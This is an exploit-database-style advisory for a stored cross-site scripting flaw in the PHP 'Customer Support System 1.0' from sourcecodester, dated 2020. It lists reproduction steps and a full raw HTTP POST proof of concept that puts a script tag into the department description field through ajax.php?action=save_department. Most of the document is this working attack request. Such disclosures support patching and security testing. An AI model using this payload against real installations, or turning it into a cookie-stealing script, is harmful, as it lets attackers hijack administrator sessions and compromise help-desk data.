# Exploit Title: Customer Support System 1.0 - Stored XSS in The Admin Panel # Date: 2020-11-11 # Exploit Author: Ahmed Abbas # Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 Stored XSS Reproduction Steps: 1. Navigate to http://TARGET/customer_support/index.php?page=department_list 2. Click on new Department 3. Add the XSS payload into the "description" parameter value 4. Browse to the post to trigger the XSS payload # POC POST /customer_support/ajax.php?action=save_department HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------196034062430192961002574272606 Content-Length: 445 Origin: http://localhost Connection: close Referer: http://localhost/customer_support/index.php?page=department_list Cookie: PHPSESSID=6dbp44u1fs8f0ndfqutpn3lbuq -----------------------------196034062430192961002574272606 Content-Disposition: form-data; name="id" 4 -----------------------------196034062430192961002574272606 Content-Disposition: form-data; name="name" Stored xss -----------------------------196034062430192961002574272606 Content-Disposition: form-data; name="description" <script>alert("STORED XSS")</script> -----------------------------196034062430192961002574272606--